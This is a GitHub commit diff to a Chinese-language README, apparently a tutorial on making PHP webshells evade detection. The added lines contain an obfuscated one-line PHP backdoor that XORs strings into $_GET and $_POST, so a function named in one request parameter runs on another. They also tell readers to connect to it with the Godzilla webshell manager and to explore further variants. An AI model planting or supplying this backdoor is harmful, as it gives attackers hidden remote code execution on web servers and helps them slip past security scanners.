Skip to content

Commit 573149f

Browse files
authored
Update README.md
1 parent 061c985 commit 573149f

File tree

1 file changed

+11
-0
lines changed

1 file changed

+11
-0
lines changed

README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1285,6 +1285,17 @@ $_GET['a']($_GET['b'])
12851285
```php
12861286
system('whoami');
12871287
```
1288+
1289+
既然上面的代码你看懂了,那不妨看一下下面魔改的代码:
1290+
```php
1291+
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);
1292+
```
1293+
直接用 Godzilla 哥斯拉来连接,如下:
1294+
1295+
![魔改连接哥斯拉.png](https://blog.zgsec.cn/usr/uploads/2023/06/432722789.png)
1296+
1297+
当然这里使用到 `assert` 高危函数,只能用于 `php``5.*` 的版本,相关姿势读者不妨自行拓展一下哈哈~
1298+
12881299
所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~
12891300

12901301

0 commit comments

Comments
 (0)